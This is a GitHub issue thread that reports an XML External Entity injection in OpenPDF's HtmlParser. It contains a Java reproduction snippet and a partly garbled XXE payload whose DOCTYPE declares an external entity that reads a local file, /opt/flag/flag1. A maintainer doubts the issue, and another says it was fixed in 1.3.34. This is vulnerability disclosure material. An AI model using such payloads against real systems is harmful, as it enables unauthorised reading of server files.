Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XML External Entity Injection #941

Closed
75ACOL opened this issue Aug 15, 2023 · 3 comments
Closed

XML External Entity Injection #941

75ACOL opened this issue Aug 15, 2023 · 3 comments
Labels

Comments

@75ACOL
Copy link

75ACOL commented Aug 15, 2023

Describe the bug
If the user controls the data

To Reproduce
public static void main(String[] args) { try (Document document = new Document()) { HtmlParser.parse(document, "file:///D:\\XXEPOC.xml"); } catch (DocumentException de) { System.err.println(de.getMessage()); } }

Expected behavior

">

This will send out the data

System (please complete the following information):
All system

Additional context
Please help me apply for CVE number, thank you!

@75ACOL 75ACOL added the bug label Aug 15, 2023
@lean0x2F
Copy link

Care to elaborate a bit? I've been testing this and it doesn't seem to be vulnerable.

@75ACOL
Copy link
Author

75ACOL commented Aug 18, 2023

Can you apply for cve for me? I need this, it's actually attackable.
Files can be read through such poc
``?xml version="1.0" encoding="utf-8"?>
!DOCTYPE any [
!ENTITY a SYSTEM "file:///opt/flag/flag1">
]>```

@andreasrosdal
Copy link
Contributor

This was fixed in OpenPDF 1.3.34:

https://github.com/LibrePDF/OpenPDF/releases/tag/1.3.34

#1000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants